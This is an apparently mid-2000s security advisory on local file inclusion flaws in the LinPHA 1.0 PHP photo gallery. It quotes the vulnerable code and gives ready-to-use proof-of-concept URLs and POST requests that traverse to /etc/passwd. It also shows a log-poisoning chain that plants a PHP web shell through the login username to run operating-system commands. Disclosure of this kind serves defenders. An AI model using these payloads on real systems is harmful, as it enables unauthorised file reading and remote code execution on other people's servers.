Linpha <= 1.0 multiple arbitrary local inclusion

[rgod@xxxxxxxxxxxxx]

------------- Linpha <= 1.0 multiple arbitrary local inclusion -----------------

software:
site: http://linpha.sourceforge.net/nuke/
description:  " LinPHA is an easy to use,  multilingual,  flexible photo / image
archive / album / gallery  written in  PHP.  It uses a  SQL  database  to  store
information about your pictures."
--------------------------------------------------------------------------------

i)
vulnerable code in docs/index.php at lines 28 - 41:

...
if(isset($_GET['lang']))        // come from install pages
{
        $include_lang = $_GET['lang'];
}
elseif(file_exists(TOP_DIR.'/sql/db_connect.php'))
{
        include_once(TOP_DIR.'/functions/db_api.php');
        $include_lang = get_language();
}
else
{
        $include_lang = get_http_accept_lang();
}
include_once(TOP_DIR.'/lang/lang.'.$include_lang.'.php');
...

well, you can include an arbitrary php file from local resources, poc:

http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../../test

and, if magic_quotes_gpc = Off, any file:

http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../../etc/passwd%00

--------------------------------------------------------------------------------
ii) install directory is not removed after installation, you cannot use files to
modify settings but we have arbitrary local inclusion issues in several files:

      --------------------------------------------------------------------------
ii.a) vulnerable code in install/install.php at lines 26-36:

...
if (@$_GET['language']) {
        $lang=$_GET['language'];
} else if (@$_POST['language']) {
        $lang=$_POST['language'];
} else if ($http_accept_lang) {
  $lang = $http_accept_lang;
} else {
        $lang="English";
}

include_once(TOP_DIR.'/lang/lang.'.$lang.'.php');
...

poc:

http://[target]/[path]/install/install.php?language=/../../../../../../../test

if magic_quotes_gpc = Off:

http://[target]/[path]/install/install.php?language=/../../sql/tmp/linpha.log%00

      --------------------------------------------------------------------------
ii.b) vulnerable code in install/sec_stage_install.php at lines 22-31:

...
switch($_GET['whatlang'])
{
case 1:
        include_once(TOP_DIR.'/lang/lang.'.@$_GET['language'].'.php');
        break;

        default:
        include_once(TOP_DIR.'/lang/lang.English.php');
        break;
}
...

poc:

http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../test

if magic_quotes_gpc = Off:

http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../etc/passwd%00

      --------------------------------------------------------------------------
ii.c) vulnerable code in install/third_stage_install.php at line 22:

...
include_once(TOP_DIR.'/lang/lang.'.$_GET['language'].'.php');
...

poc:

http://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../test

if magic_quotes_gpc = Off:

http://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../etc/passwd%00

      --------------------------------------------------------------------------
ii.d) vulnerable code in install/forth_stage_install.php at line 22:

...
include_once(TOP_DIR.'/lang/lang.'.$_POST['language'].'.php');
...

poc:

POST [path]install/forth_stage_install.php HTTP/1.1\r\n";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close

language=/../../../../../../../../test

if magic_quotes_gpc = Off:

POST [path]install/forth_stage_install.php HTTP/1.1\r\n";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: Sun-Tzu
Connection: Close

language=/../../../../../../../../etc/passwd%00

--------------------------------------------------------------------------------
iii) if "user login events log" is set to "file" in Linpha  administration
(not the default) a remote user can inject arbitrary code in sql/tmp/linpha.log

poc: try to login with username: <?php system($_GET[cmd]);?>
and password: [whatever]

now in sql/tmp/linpha.log we have something like this:

USER | ERROR | 20060211 035519 | 192.168.1.5 | User <?php 
system($_GET[cmd]);?>: login failed!

now, if magic_quotes_gpc = Off on target system, you can launch operating system
commands, poc:

http://[target]/[path]/docs/index.php?cmd=ls%20-la&lang=/../../sql/tmp/linpha.log%00

(same technique with install dir scripts...)

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/linpha_10_local.html
--------------------------------------------------------------------------------